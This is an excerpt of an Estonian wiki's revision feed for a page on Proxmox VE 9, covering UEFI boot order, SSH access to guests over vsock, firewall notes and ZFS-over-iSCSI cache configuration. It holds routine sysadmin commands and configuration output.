[[Fail:20260516-from-bios-to-uefi-04.png|800px]]&lt;br /&gt;
&lt;br /&gt;
Antud juhul on see väga oluline kuna grub alglaadur on kahel seadmel laiali&lt;br /&gt;
&lt;br /&gt;
* grub.efi rakendus asub /dev/vdb&lt;br /&gt;
* grub.conf seadistus asub /dev/vda&lt;br /&gt;
&lt;br /&gt;
Kui Boot Order on linnutatud vaid /dev/vda, siis peatub arvuti käivitumine 'grub&amp;gt;' prompt juures. Selles mõttes võiks olla PVE webgui osakonna nimeks nt 'UEFI device visibility and Boot Order'.&lt;br /&gt;
&lt;br /&gt;
===Üle vsock ssh kasutamine - Ubuntu 26.04 ja Debian v. 13===&lt;br /&gt;
&lt;br /&gt;
Osutub, et uuemal ajal, st PVE v. 9, Debian v. 13 virtuaalne avuti on võimalik PVE host pealt pöörduda guest poole üle ssh kasutades vsock protokolli (mitte tavalist tcp/ip protokollil põhinevat võrku). Selleks tuleb virtuaalsele arvutile lisada PVE platvormi poolt vsock tugi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# head -n 1 /etc/pve/qemu-server/50056.conf&lt;br /&gt;
args: -device vhost-vsock-pci,guest-cid=50056&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja virtuaalsel arvutil peab olema tarkvaraline vsock tugi. Nt Debian v. 13 puhul on sshd serverisse see integreeritud&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# systemctl | grep ssh&lt;br /&gt;
  ssh.service                                                                                           loaded active running   OpenBSD Secure Shell server&lt;br /&gt;
  sshd@2-50056:22-2:3327097365.service                                                                  loaded active running   OpenBSD Secure Shell server per-connection daemon (vsock:2:3327097364)&lt;br /&gt;
  system-sshd.slice                                                                                     loaded active active    Slice /system/sshd&lt;br /&gt;
  sshd-unix-local.socket                                                                                loaded active listening OpenSSH Server Socket (systemd-ssh-generator, AF_UNIX Local)&lt;br /&gt;
  sshd-vsock.socket                                                                                     loaded active listening OpenSSH Server Socket (systemd-ssh-generator, AF_VSOCK)&lt;br /&gt;
  ssh-access.target                                                                                     loaded active active    SSH Access Available&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemd-ssh-generator on selline süsteem, mis käigult avastab süsteemi võimekusi ja vastavalt seadistab teenustele omadusi (nt ssh puhul lülitatakse sisse vsock tugi)&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# systemctl status sshd@2-50056:22-2:3327097365.service&lt;br /&gt;
● sshd@2-50056:22-2:3327097365.service - OpenBSD Secure Shell server per-connection daemon (vsock:2:3327097365)&lt;br /&gt;
     Loaded: loaded (/usr/lib/systemd/system/sshd@.service; static)&lt;br /&gt;
     Active: active (running) since Mon 2026-06-01 00:04:39 EEST; 16s ago&lt;br /&gt;
 Invocation: 84acdad56690460e8e0fbffd2ecd4d69&lt;br /&gt;
TriggeredBy: ● sshd-vsock.socket&lt;br /&gt;
       Docs: man:sshd(8)&lt;br /&gt;
             man:sshd_config(5)&lt;br /&gt;
   Main PID: 876 (sshd-session)&lt;br /&gt;
      Tasks: 1 (limit: 6978)&lt;br /&gt;
     Memory: 1.8M (peak: 3.9M)&lt;br /&gt;
        CPU: 27ms&lt;br /&gt;
     CGroup: /system.slice/system-sshd.slice/sshd@2-50056:22-2:3327097365.service&lt;br /&gt;
             ‣ 876 &amp;quot;sshd-session: root [priv]&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Jun 01 00:04:39 unifi-oss systemd[1]: Started sshd@2-50056:22-2:3327097365.service - OpenBSD Secure Shell server per-connection daemon (vsock:2:3327097365).&lt;br /&gt;
Jun 01 00:04:40 unifi-oss sshd-session[876]: Accepted publickey for root from UNKNOWN port 65535 ssh2: ED25519 SHA256:3cj7QCk4leNOSQJlfeUeHr6YfsA0r3bRUqZS9Rey3jM&lt;br /&gt;
Jun 01 00:04:40 unifi-oss sshd-session[876]: pam_unix(sshd:session): session opened for user root(uid=0) by root(uid=0)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* triggered by 'sshd-vsock.socket'&lt;br /&gt;
&lt;br /&gt;
ssh kliendi st pve host poolel peab olema teadmine, kuidas käituda kui üritatakse kasutada vsock protokolli üle sshd serverit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# cat /lib/systemd/ssh_config.d/20-systemd-ssh-proxy.conf&lt;br /&gt;
# SPDX-License-Identifier: LGPL-2.1-or-later&lt;br /&gt;
#&lt;br /&gt;
# Allow connecting to the local host directly via &amp;quot;.host&amp;quot;&lt;br /&gt;
Host .host machine/.host&lt;br /&gt;
        ProxyCommand /usr/lib/systemd/systemd-ssh-proxy unix/run/ssh-unix-local/socket %p&lt;br /&gt;
        ProxyUseFdpass yes&lt;br /&gt;
        CheckHostIP no&lt;br /&gt;
&lt;br /&gt;
# Make sure unix/* and vsock/* can be used to connect to AF_UNIX and AF_VSOCK paths.&lt;br /&gt;
# Make sure machine/* can be used to connect to local machines registered in machined.&lt;br /&gt;
#&lt;br /&gt;
Host unix/* vsock/* machine/*&lt;br /&gt;
        ProxyCommand /usr/lib/systemd/systemd-ssh-proxy %h %p&lt;br /&gt;
        ProxyUseFdpass yes&lt;br /&gt;
        CheckHostIP no&lt;br /&gt;
&lt;br /&gt;
        # Disable all kinds of host identity checks, since these addresses are generally ephemeral.&lt;br /&gt;
        StrictHostKeyChecking no&lt;br /&gt;
        UserKnownHostsFile /dev/null&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* tuleb kasutada 'man systemd-ssh-proxy' utiliiti&lt;br /&gt;
&lt;br /&gt;
Kasutamine paistab välja selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# ssh root@vsock/50056&lt;br /&gt;
Warning: Permanently added 'vsock/50056' (ED25519) to the list of known hosts.&lt;br /&gt;
Linux unifi-oss 6.12.90+deb13.1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.90-2 (2026-05-27) x86_64&lt;br /&gt;
&lt;br /&gt;
The programs included with the Debian GNU/Linux system are free software;&lt;br /&gt;
the exact distribution terms for each program are described in the&lt;br /&gt;
individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
&lt;br /&gt;
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
permitted by applicable law.&lt;br /&gt;
Last login: Sun May 31 23:53:37 2026 from 192.168.10.156&lt;br /&gt;
root@unifi-oss:~#&lt;br /&gt;
&lt;br /&gt;
root@unifi-oss:~# w&lt;br /&gt;
 23:59:55 up 6 min,  2 users,  load average: 0.00, 0.00, 0.00&lt;br /&gt;
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU  WHAT&lt;br /&gt;
root     pts/1    -                23:59    1.00s  0.00s   ?    w&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* vsock kaudu lähenemise puhul on iseloomulik 'FROM -' (tavaliselt on seal src ip aadress)&lt;br /&gt;
&lt;br /&gt;
Peale kasutaja sisselogimist paistab&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# ss -a -p --vsock&lt;br /&gt;
Netid    State     Recv-Q    Send-Q       Local Address:Port       Peer Address:Port         Process&lt;br /&gt;
v_str    LISTEN    0         0                        *:22                    *:*             users:((&amp;quot;systemd&amp;quot;,pid=1,fd=66))&lt;br /&gt;
v_str    ESTAB     0         0                    50056:22                    2:3327097366    users:((&amp;quot;sshd-session&amp;quot;,pid=914,fd=7),(&amp;quot;sshd-session&amp;quot;,pid=914,fd=6),(&amp;quot;sshd-session&amp;quot;,pid=905,fd=7),(&amp;quot;sshd-session&amp;quot;,pid=905,fd=6),(&amp;quot;systemd&amp;quot;,pid=1,fd=8))&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* af_vsock osakonnas on sarnasel af_inet osakonnale ka listen socket ning 'active connected socket'&lt;br /&gt;
&lt;br /&gt;
Tundub, et uuemal ajal on ssh agar kuulama ka af_unix soketil&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# screendump | grep -i ssh&lt;br /&gt;
[  OK  ] Listening on sshd-unix-local.socket - OpenSSH Server Socket (systemd-ssh-generator, AF_UNIX Local).&lt;br /&gt;
[  OK  ] Listening on sshd-vsock.socket - OpenSSH Server Socket (systemd-ssh-generator, AF_VSOCK).&lt;br /&gt;
[  OK  ] Reached target ssh-access.target - SSH Access Available.&lt;br /&gt;
         Starting ssh.service - OpenBSD Secure Shell server...&lt;br /&gt;
[  OK  ] Started ssh.service - OpenBSD Secure Shell server.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja tõesti, lokaalselt saab arvutisse logida sisse nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# ssh unix/run/ssh-unix-local/socket&lt;br /&gt;
Warning: Permanently added 'unix/run/ssh-unix-local/socket' (ED25519) to the list of known hosts.&lt;br /&gt;
Linux unifi-oss 6.12.90+deb13.1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.90-2 (2026-05-27) x86_64&lt;br /&gt;
&lt;br /&gt;
The programs included with the Debian GNU/Linux system are free software;&lt;br /&gt;
the exact distribution terms for each program are described in the&lt;br /&gt;
individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
&lt;br /&gt;
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
permitted by applicable law.&lt;br /&gt;
Last login: Mon Jun  1 00:16:42 2026 from UNKNOWN&lt;br /&gt;
&lt;br /&gt;
root@unifi-oss:~# w&lt;br /&gt;
 00:16:44 up 23 min,  3 users,  load average: 0.00, 0.00, 0.00&lt;br /&gt;
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU  WHAT&lt;br /&gt;
root     pts/2    -                00:16    1.00s  0.00s   ?    w&lt;br /&gt;
root     pts/1    -                00:16    2.00s  0.00s   ?    ssh unix/run/ssh-unix-local/socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.auul.pri.ee/wiki/Linux_operatsioonis%C3%BCsteemis_t%C3%B6%C3%B6tab_v%C3%B5rgu%C3%BChendus#systemd_kasutamine_network-proxy_rollis&lt;br /&gt;
&lt;br /&gt;
===Üle vsock ssh kasutamine - Ubuntu 24.04===&lt;br /&gt;
&lt;br /&gt;
Ettevalmistavalt tuleb 22/tcp seadistada käima ainult konkreetselt ip aadressil&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# grep ^Liste /etc/ssh/sshd_config&lt;br /&gt;
ListenAddress 192.168.10.194&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# systemctl status ssh.service&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kusjuures vastav systemd ssh listen osakond jääb nagu on, 0.0.0.0 peale&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# grep ^Lis /usr/lib/systemd/system/ssh.socket&lt;br /&gt;
ListenStream=0.0.0.0:22&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* väidetavalt on see vajalik mingi sistemise systemd/ssh jne loogika toimimiseks.&lt;br /&gt;
&lt;br /&gt;
ja laadida kerneli moodul&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# modprobe vmw_vsock_virtio_transport&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ubuntu 24.04 keskkonnas on tehniliselt kõik vajalik vsock kasutamiseks olemas, tuleb lisada kaks system elementi&lt;br /&gt;
&lt;br /&gt;
* sshd-vsock.socket - õpetab systemd pid=1 protsessile kuulama võrgus 22/vsock pordil&lt;br /&gt;
* sshd-vsock@.service - õpetab 22/vsock pordile sissetuleva pöördumist üleandmist sshd protsessile&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# ls -ld /etc/systemd/system/sshd-vsock*&lt;br /&gt;
-rw-r--r-- 1 root root 380 Jun 20 15:38 /etc/systemd/system/sshd-vsock@.service&lt;br /&gt;
-rw-r--r-- 1 root root 265 Jun 20 13:33 /etc/systemd/system/sshd-vsock.socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# cat /etc/systemd/system/sshd-vsock.socket&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=OpenSSH Server Socket (AF_VSOCK Network-Independent Line)&lt;br /&gt;
Documentation=man:sshd(8) man:sshd_config(5)&lt;br /&gt;
# Notice: No &amp;quot;Conflicts=&amp;quot; or &amp;quot;Before=&amp;quot; entries are needed here!&lt;br /&gt;
&lt;br /&gt;
[Socket]&lt;br /&gt;
ListenStream=vsock::22&lt;br /&gt;
Accept=yes&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
WantedBy=sockets.target&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# cat /etc/systemd/system/sshd-vsock@.service&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=OpenSSH Server Socket Per-Connection Daemon (VSOCK Backup)&lt;br /&gt;
Documentation=man:sshd(8) man:sshd_config(5)&lt;br /&gt;
After=auditd.service&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
EnvironmentFile=-/etc/default/ssh&lt;br /&gt;
# The -i flag forces sshd to run in &amp;quot;inetd&amp;quot; mode to accept the raw systemd socket&lt;br /&gt;
ExecStart=-/usr/sbin/sshd -i $SSHD_OPTS&lt;br /&gt;
StandardInput=socket&lt;br /&gt;
RuntimeDirectory=sshd&lt;br /&gt;
RuntimeDirectoryMode=0755&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# systemctl daemon-reload&lt;br /&gt;
root@zabbix-pub-01:~# systemctl enable --now sshd-vsock.socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena kuulatakse 22/vsock peal&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# systemctl list-sockets | grep ssh&lt;br /&gt;
192.168.10.194:22                     ssh.socket                      ssh.service&lt;br /&gt;
vsock::22                             sshd-vsock.socket               -&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutamine paistab välja nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# ssh root@vsock/50194&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Proxmox VE Firewall===&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
Probleeme tekitada võiv kombinatsioon, vältida&lt;br /&gt;
&lt;br /&gt;
* Hardware -&amp;gt; network device -&amp;gt; Firewall - Enable&lt;br /&gt;
* Firewall -&amp;gt; Option - No&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://pve.proxmox.com/pve-docs-7/chapter-pve-firewall.html&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
Tundub, et pve 9 ja qemu 11 kandis on hakanud ilmuma 'x86_64 v2 aes' virtuaalse protsessori kasutamisel sellised teated, nt 'host' protsessoriga neid ei ole&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# pveversion&lt;br /&gt;
pve-manager/9.2.3/d0fde103346cf89a (running kernel: 7.0.6-2-pve)&lt;br /&gt;
&lt;br /&gt;
root@pve-wrx90e:~# dmesg | grep WRMSR | tail -n 4&lt;br /&gt;
[30021.694536] kvm: kvm [323176]: vcpu0, guest rIP: 0xffffffffb807e744 Unhandled WRMSR(0xc0010007) = 0xffff&lt;br /&gt;
[30090.614209] kvm: kvm [324048]: vcpu0, guest rIP: 0xffffffff84e6d9b4 Unhandled WRMSR(0xc0010007) = 0xffff&lt;br /&gt;
[30308.798770] kvm: kvm [326811]: vcpu0, guest rIP: 0xffffffff8d67e744 Unhandled WRMSR(0xc0010007) = 0xffff&lt;br /&gt;
[180421.745980] kvm: kvm [3632532]: vcpu0, guest rIP: 0xffffffff81242297 Unhandled WRMSR(0xc0010007) = 0xffff&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===arm64 platvormi emuleerimine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et PVE v. 9.2 juures ilmub webgui peale vcpu valik 'arm (64-bit)'&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260614-pve-01.png|600px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* tulemusena ta töötab, aga väga nö rahulikult&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# apt-get install pve-edk2-firmware-aarch6&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Proxmox_v._9_kasutamine&amp;diff=4256</id>
		<title>Proxmox v. 9 kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Proxmox_v._9_kasutamine&amp;diff=4256"/>
		<updated>2026-06-20T14:28:11Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Üle vsock ssh kasutamine - Ubuntu 24.04 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Virtuaalne riistvara===&lt;br /&gt;
&lt;br /&gt;
Klaviatuur ja hiir&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# systool -b serio&lt;br /&gt;
Bus = &amp;quot;serio&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  Device = &amp;quot;serio0&amp;quot;&lt;br /&gt;
  Device = &amp;quot;serio1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:~# systool -b serio -v&lt;br /&gt;
Bus = &amp;quot;serio&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  Device = &amp;quot;serio0&amp;quot;&lt;br /&gt;
  Device path = &amp;quot;/sys/devices/platform/i8042/serio0&amp;quot;&lt;br /&gt;
    bind_mode           = &amp;quot;auto&amp;quot;&lt;br /&gt;
    description         = &amp;quot;i8042 KBD port&amp;quot;&lt;br /&gt;
    drvctl              = &amp;lt;store method only&amp;gt;&lt;br /&gt;
    err_count           = &amp;quot;0&amp;quot;&lt;br /&gt;
    extra               = &amp;quot;0&amp;quot;&lt;br /&gt;
    firmware_id         = &amp;quot;PNP: PNP0303&amp;quot;&lt;br /&gt;
    force_release       = &amp;quot;369-370&amp;quot;&lt;br /&gt;
    modalias            = &amp;quot;serio:ty06pr00id00ex00&amp;quot;&lt;br /&gt;
    scroll              = &amp;quot;0&amp;quot;&lt;br /&gt;
    set                 = &amp;quot;2&amp;quot;&lt;br /&gt;
    softraw             = &amp;quot;1&amp;quot;&lt;br /&gt;
    softrepeat          = &amp;quot;0&amp;quot;&lt;br /&gt;
    uevent              = &amp;quot;DRIVER=atkbd&lt;br /&gt;
SERIO_TYPE=06&lt;br /&gt;
SERIO_PROTO=00&lt;br /&gt;
SERIO_ID=00&lt;br /&gt;
SERIO_EXTRA=00&lt;br /&gt;
MODALIAS=serio:ty06pr00id00ex00&lt;br /&gt;
SERIO_FIRMWARE_ID=PNP: PNP0303&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  Device = &amp;quot;serio1&amp;quot;&lt;br /&gt;
  Device path = &amp;quot;/sys/devices/platform/i8042/serio1&amp;quot;&lt;br /&gt;
    bind_mode           = &amp;quot;auto&amp;quot;&lt;br /&gt;
    description         = &amp;quot;i8042 AUX port&amp;quot;&lt;br /&gt;
    drvctl              = &amp;lt;store method only&amp;gt;&lt;br /&gt;
    firmware_id         = &amp;quot;PNP: PNP0f13&amp;quot;&lt;br /&gt;
    modalias            = &amp;quot;serio:ty01pr00id00ex00&amp;quot;&lt;br /&gt;
    protocol            = &amp;quot;VirtualPS/2&amp;quot;&lt;br /&gt;
    rate                = &amp;quot;100&amp;quot;&lt;br /&gt;
    resetafter          = &amp;quot;5&amp;quot;&lt;br /&gt;
    resolution          = &amp;quot;200&amp;quot;&lt;br /&gt;
    resync_time         = &amp;quot;0&amp;quot;&lt;br /&gt;
    uevent              = &amp;quot;DRIVER=psmouse&lt;br /&gt;
SERIO_TYPE=01&lt;br /&gt;
SERIO_PROTO=00&lt;br /&gt;
SERIO_ID=00&lt;br /&gt;
SERIO_EXTRA=00&lt;br /&gt;
MODALIAS=serio:ty01pr00id00ex00&lt;br /&gt;
SERIO_FIRMWARE_ID=PNP: PNP0f13&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===remote zfs over iscsi===&lt;br /&gt;
&lt;br /&gt;
====Mõisted====&lt;br /&gt;
&lt;br /&gt;
* FUA (Forced Unit Access) - &lt;br /&gt;
* WCE (Write Cache Enable) -&lt;br /&gt;
* TPU (Thin Provisioning UNMAP) - &lt;br /&gt;
* TPWS (WRITE_SAME / Zeroing) -&lt;br /&gt;
* VFS (virtual file system) -&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Virtuaalse arvuti vaatest andmetega tegelemine&lt;br /&gt;
&lt;br /&gt;
 pve virtuaalne arvuti -&amp;gt; pve füüsiline arvuti -&amp;gt; over-iscsi-zfs-storage-server&lt;br /&gt;
&lt;br /&gt;
Sõltuvalt qemu virtuaalse arvuti virtuaalse plokkseadme 'Cache' seadistustest on võimalik erinevate cache komplektide-kombinatsioonide kasutamine andmete liikumisel virtuaalses arvutis töötava protsessi juurest zfs storage serveri füüsilisele plokkseadmele. Tundub, et 2025 aastal on kõige keskmisemale kasutusele sobiv valik 'Cache: nocache'&lt;br /&gt;
&lt;br /&gt;
* hea jõudlus&lt;br /&gt;
* hea terviklus&lt;br /&gt;
&lt;br /&gt;
Andmete liikumise teekond&lt;br /&gt;
&lt;br /&gt;
* virtuaalse arvuti rakendus&lt;br /&gt;
* virtuaalse arvuti vfs failisüsteem&lt;br /&gt;
* virtuaalse arvuti page cache (vfs'ga seotud)&lt;br /&gt;
* virtuaalse arvuti ext4 failisüsteem (ext4 draiver)&lt;br /&gt;
* virtuaalse arvuti lvm&lt;br /&gt;
* virtuaalse arvuti fdisk partitsioonid&lt;br /&gt;
* virtuaalse arvuti virtuaalne sata vms kontroller&lt;br /&gt;
* füüsilise arvuti qemu protsess&lt;br /&gt;
* füüsilise arvuti open-iscsi poolt teostatud /dev/sda scsi plokkseade (puudub cache)&lt;br /&gt;
* füüsilises arvutis storage'ga seotud cache puudub&lt;br /&gt;
* storage arvuti targetcli (puutub cache)&lt;br /&gt;
* storage arvuti zfs ressurss (sisaldab zfs cache)&lt;br /&gt;
* storage avuti füüsilise plokkseadme controller-cache&lt;br /&gt;
&lt;br /&gt;
'Cache: nocache' parameeter on üks vähestest parameetritest, mis avaldab mõju nö mõlemas suunas&lt;br /&gt;
&lt;br /&gt;
* virtuaalse arvuti seest kasutada olevale storage ressursile&lt;br /&gt;
* kuidas füüsilise arvuti sees virtuaalsele arvutile vastav qemu protsess kasutab allolevat plokkseadet&lt;br /&gt;
&lt;br /&gt;
Käesolevas tekstis kirjeldatakse nelja komponendi seadistamist&lt;br /&gt;
&lt;br /&gt;
* virtuaalsele arvutile vastav qemu protsess&lt;br /&gt;
* iscsi initiator&lt;br /&gt;
* iscsi target&lt;br /&gt;
* zfs lahendus&lt;br /&gt;
&lt;br /&gt;
====zfs lahendus iscsi target arvutis====&lt;br /&gt;
&lt;br /&gt;
Füüsilised kettad on kasutusel nö kõige tavalisemal viisil, eriti tähendab see, et ketastel on sisselülitatud nö tavaline controller-cache&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# lsscsi -s | grep 4.00T&lt;br /&gt;
[2:0:0:0]    disk    ATA      CT4000MX500SSD1  045   /dev/sdc   4.00TB&lt;br /&gt;
[3:0:0:0]    disk    ATA      CT4000MX500SSD1  045   /dev/sdd   4.00TB&lt;br /&gt;
[N:0:1:1]    disk    Samsung SSD 990 PRO with Heatsink 4TB__1   /dev/nvme0n1  4.00TB&lt;br /&gt;
[N:1:1:1]    disk    Samsung SSD 990 PRO with Heatsink 4TB__1   /dev/nvme1n1  4.00TB&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
zfs lülituse moodustamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# cat create-zpool-raidz1-x4.sh&lt;br /&gt;
zpool create -o ashift=13 zp_data raidz1 \&lt;br /&gt;
  /dev/disk/by-id/ata-CT4000MX500SSD1_2246E686FE58 \&lt;br /&gt;
  /dev/disk/by-id/ata-CT4000MX500SSD1_2246E686FF7B \&lt;br /&gt;
  /dev/disk/by-id/nvme-Samsung_SSD_990_PRO_with_Heatsink_4TB_S7DSNJ0X501827B \&lt;br /&gt;
  /dev/disk/by-id/nvme-Samsung_SSD_990_PRO_with_Heatsink_4TB_S7DSNJ0X501856Z&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
zfs cache töötab tavalisel viisil, st on sisse lülitatud olekus, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# zfs get all | grep -i cache | grep vm-106-disk-0&lt;br /&gt;
zp_crucial_mx_4/vm-106-disk-0     primarycache          all                     default&lt;br /&gt;
zp_crucial_mx_4/vm-106-disk-0     secondarycache        all                     default&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====targetcli iscsi target arvutis====&lt;br /&gt;
&lt;br /&gt;
targetcli seadistamine koosneb kahest tegevusest&lt;br /&gt;
&lt;br /&gt;
* zfs põhise alus-storage storage publitseerimine&lt;br /&gt;
* publitseerimisel sobivalt scsi protokolli parameetrite kasutamine (eriti cache, sparse jms esitamine)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/&amp;gt; /iscsi create iqn.2025-10.moraal.srv:storage.zfstarget&lt;br /&gt;
/&amp;gt; /iscsi/iqn.2025-10.moraal.srv:storage.zfstarget/tpg1/acls  create iqn.1993-08.org.debian:01:4cbe32bd26b&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Sobiv seadistus, mis tuleb plokk-ressursi jaoks kehtestada&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# targetcli /backstores/block/zp_crucial_mx_4-vm-108613-disk-4 get attribute | grep =&lt;br /&gt;
======================&lt;br /&gt;
alua_support=1&lt;br /&gt;
block_size=512&lt;br /&gt;
emulate_3pc=1&lt;br /&gt;
emulate_caw=1&lt;br /&gt;
emulate_dpo=1&lt;br /&gt;
emulate_fua_read=1&lt;br /&gt;
emulate_fua_write=1&lt;br /&gt;
emulate_model_alias=1&lt;br /&gt;
emulate_pr=1&lt;br /&gt;
emulate_rest_reord=0&lt;br /&gt;
emulate_rsoc=1&lt;br /&gt;
emulate_tas=1&lt;br /&gt;
emulate_tpu=0&lt;br /&gt;
emulate_tpws=0&lt;br /&gt;
emulate_ua_intlck_ctrl=0&lt;br /&gt;
emulate_write_cache=0&lt;br /&gt;
enforce_pr_isids=1&lt;br /&gt;
force_pr_aptpl=0&lt;br /&gt;
hw_block_size=512 [ro]&lt;br /&gt;
hw_max_sectors=32768 [ro]&lt;br /&gt;
